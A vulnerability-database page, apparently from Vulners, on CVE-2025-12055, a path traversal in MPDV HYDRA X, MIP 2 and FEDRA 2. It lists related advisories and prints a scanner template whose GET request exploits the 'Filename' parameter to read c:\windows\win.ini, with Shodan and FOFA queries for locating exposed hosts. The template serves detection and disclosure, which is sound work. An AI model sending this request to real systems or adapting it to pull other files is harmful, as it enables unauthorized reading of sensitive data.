MPDV Mikrolab GmbH HYDRA X, MIP 2 & FEDRA 2 - Path Traversal
| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
 | CVE-2025-12055 | 29 Oct 202510:23 | – | circl |
 | MPDV Mikrolab多款产品 安全漏洞 | 27 Oct 202500:00 | – | cnnvd |
 | CVE-2025-12055 | 27 Oct 202506:36 | – | cve |
 | CVE-2025-12055 Unauthenticated Local File Disclosure in MPDV Mikrolab MIP 2 / FEDRA 2 / HYDRA X Manufacturing Execution System | 27 Oct 202506:36 | – | cvelist |
 | EUVD-2025-36096 | 27 Oct 202509:30 | – | euvd |
 | CVE-2025-12055 | 27 Oct 202507:15 | – | nvd |
 | Generic HTTP Directory Traversal / File Inclusion (Web Application URL Parameter) - Active Check | 26 Sep 201700:00 | – | openvas |
 | PT-2025-43887 | 27 Oct 202500:00 | – | ptsecurity |
 | CVE-2025-12055: Improper Limitation of a Pathname to a Restricted Directory | 27 Oct 202500:00 | – | rapid7 |
 | CVE-2025-12055 | 28 Oct 202506:59 | – | redhatcve |
10
id: CVE-2025-12055
info:
name: MPDV Mikrolab GmbH HYDRA X, MIP 2 & FEDRA 2 - Path Traversal
author: theamanrawat
severity: high
description: |
MPDV Mikrolab GmbH HYDRA X, MIP 2, and FEDRA 2 <= Maintenance Pack 36 with Servicepack 8 (week 36/2025) contain an unauthenticated local file disclosure vulnerability caused by improper validation of the "Filename" parameter in the public $SCHEMAS$ resource, letting attackers read arbitrary Windows OS files, exploit requires local access.
impact: |
Attackers can read arbitrary files on the Windows operating system, potentially exposing sensitive information.
remediation: |
Update to Maintenance Pack 36 with Servicepack 8 (week 36/2025) or later.
reference:
- https://seclists.org/fulldisclosure/2025/Oct/28
- https://nvd.nist.gov/vuln/detail/CVE-2025-12055
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2025-12055
epss-score: 0.03827
epss-percentile: 0.89747
cwe-id: CWE-22
metadata:
verified: true
max-request: 1
shodan-query: http.html:"MPDV"
fofa-query: body="MPDV"
tags: cve,cve2025,lfi,mpdv,mikrolab,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/hx/resources/public/$SCHEMAS$?Filename=c%3a%5cwindows%5cwin.ini"
matchers:
- type: dsl
dsl:
- 'contains_all(body, "bit app support", "fonts", "extensions")'
- 'contains(content_type, "application/octet-stream")'
- 'status_code == 200'
condition: and
# digest: 4a0a00473045022100f9ed56ff964e3dc66817f74368bb96b1aad540c1e7ac6e42cbfe35ddffebe25202202aee2a82b9f1ad67a402024e184c12a08fec19ec48edc85a02e0b93f76636aba:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
19 Nov 2025 08:37Current
8.2High risk
Vulners AI Score8.2
CVSS 3.17.5
EPSS0.03827
SSVC